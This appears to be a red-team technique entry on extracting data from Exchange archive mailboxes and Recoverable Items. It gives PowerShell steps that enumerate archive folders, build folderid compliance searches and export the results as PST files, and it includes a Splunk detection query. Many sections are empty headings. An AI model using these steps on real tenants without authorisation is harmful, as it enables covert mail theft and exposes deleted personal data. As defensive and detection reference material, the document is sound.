MCADDF

[COLLECT-ARCHIVE-001]: Archive Mailbox Data Extraction

Metadata

| Attribute | Details | |—|—| | Technique ID | COLLECT-ARCHIVE-001 | | MITRE ATT&CK v18.1 | Email Collection (T1114) – Remote Email Collection (T1114.002) applied to In-Place Archive / Recoverable Items | | Tactic | Collection | | Platforms | M365 (Exchange Online), Exchange 2013–2019 with In-Place Archive | | Severity | High | | Technique Status | ACTIVE (archive mailboxes and Recoverable Items can be exported via content search and specialized scripts) | | Last Verified | 2024-09-30 | | Affected Versions | Exchange Online; Exchange 2013–2019 with In-Place Archive enabled | | Patched In | N/A – feature; risk controlled by RBAC, eDiscovery governance and retention policies | | Environment | M365 | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | M365 / Exchange Online – mailbox retention and eDiscovery governance | Failure to govern archive access and export capabilities. | | DISA STIG | O365 STIG – role-based access; legal hold | Over‑permissive archive/eDiscovery access violates separation of duties. | | CISA SCuBA | Data retention and exfiltration protections | Inadequate monitoring of archive and inactive mailbox access. | | NIST 800-53 | AU-9, MP-5, AC-6 | Weak protection of archived audit/record data and excessive privileges. | | GDPR | Art. 5, Art. 32 | Archive mailboxes often contain personal data beyond stated retention; uncontrolled export breaks principles of storage limitation and security. | | DORA | Art. 9 | Archive of regulated communications must be controlled and monitored; mass export without governance is non‑compliant. | | NIS2 | Art. 21 | Poor safeguards for long‑term records and incident evidence in critical sectors. | | ISO 27001 | A.5, A.8.12, A.8.10 | Controls for retention, media protection, and logging of access to archived information. | | ISO 27005 | Misuse of archive/eDiscovery capabilities | High‑impact risk scenario for long‑term data stores.

3. TECHNICAL PREREQUISITES

Supported Versions:

4. ENVIRONMENTAL RECONNAISSANCE

PowerShell – Discover Archive Mailboxes and Sizes

Connect-ExchangeOnline

# List mailboxes with archive enabled
Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ArchiveStatus -eq 'Active' } |
  Select-Object DisplayName,PrimarySmtpAddress,ArchiveName,ArchiveQuota

# Optional: get archive sizes (can be expensive)
Get-MailboxStatistics -Archive -Identity user@tenant.onmicrosoft.com |
  Select-Object DisplayName, TotalItemSize, ItemCount

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Purview Content Search Targeting Archive Mailboxes

Supported Versions: Exchange Online.

Step 1: Enumerate Archive Folder IDs (Scripted)

Objective: Build a KQL query that restricts search to archive mailbox folders.

Concept: Community scripts use Get-MailboxFolderStatistics -Archive to enumerate folders, then transform the folder IDs into KQL folderid: tokens consumable by Content Search.

**Example (high‑level PowerShell pattern):

Connect-ExchangeOnline

$emailAddress = 'user@tenant.onmicrosoft.com'
$folderStats = Get-MailboxFolderStatistics -Identity $emailAddress -Archive

# Filter to Recoverable Items or specific archive folders
$targetFolders = $folderStats | Where-Object { $_.FolderPath -like '*Recoverable Items*' }

# For each folder, build folderid: query terms from the FolderId/FolderType
# (actual scripts convert the HexEntryId to the base64 ID expected by KQL)

Attacker uses published scripts that output a full folderid:("id1" OR "id2" ...) expression.

Objective: Use folderid‑based KQL to search only archive content.

Command (pattern):

Connect-IPPSSession

$kql = 'folderid:("<ArchiveFolderId1>" OR "<ArchiveFolderId2>")'

New-ComplianceSearch -Name 'User-Archive-Only' `
  -ExchangeLocation 'user@tenant.onmicrosoft.com' `
  -ContentMatchQuery $kql

Start-ComplianceSearch -Identity 'User-Archive-Only'

Expected Output:

Step 3: Export Search Results (Archive PST)

Objective: Stage archive‑only data for download.

Command:

New-ComplianceSearchAction -SearchName 'User-Archive-Only' -Export -ExchangeArchiveFormat PerUserPST

Get-ComplianceSearchAction -SearchName 'User-Archive-Only' -Action Export

Expected Output:

OpSec & Evasion:

References & Proofs:

METHOD 2 – Targeted Collection of Recoverable Items

Supported Versions: Exchange Online with archive/Recoverable Items.

Objective: Abuse the fact that Recoverable Items may contain deleted messages not visible in the normal mailbox view, but still discoverable by eDiscovery.

High‑Level Pattern:

  1. Use a helper script to identify folder IDs for Recoverable Items, Purges, Versions.
  2. Build a folderid: KQL query for these IDs.
  3. Run New-ComplianceSearch constrained to those folder IDs.
  4. Export and download results.

This allows an adversary to recover messages that users attempted to delete permanently.

6. ATTACK SIMULATION & VERIFICATION

7. TOOLS & COMMANDS REFERENCE

8. SPLUNK DETECTION RULES

Rule 1: Archive‑Focused Content Searches

Concept: Detect Purview content searches whose KQL includes folderid: or that explicitly reference archive/inactive mailboxes.

SPL Pattern (pseudo):

index=o365 Workload="SecurityComplianceCenter" Operation="New-ComplianceSearch"
| eval query=coalesce(ContentMatchQuery, Query)
| where like(query, "%folderid:%") OR like(query, "%Recoverable Items%")
| stats count BY UserId, Name, query

9. MICROSOFT SENTINEL DETECTION

10. WINDOWS EVENT LOG MONITORING

11. SYSMON DETECTION PATTERNS

12. MICROSOFT DEFENDER FOR CLOUD / M365 DEFENDER

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

14. DEFENSIVE MITIGATIONS

15. DETECTION & INCIDENT RESPONSE

Step Phase Technique Description
1 Initial Access Compromised admin/compliance account Attacker gains required roles.
2 Collection COLLECT-EMAIL-001 / COLLECT-EMAIL-003 Primary mailbox or search‑based collection.
3 Collection (Archive) COLLECT-ARCHIVE-001 – Archive Mailbox Data Extraction Targeted archive/Recoverable Items export.
4 Exfiltration PST download + transfer Archive data leaves tenant.

17. REAL-WORLD EXAMPLES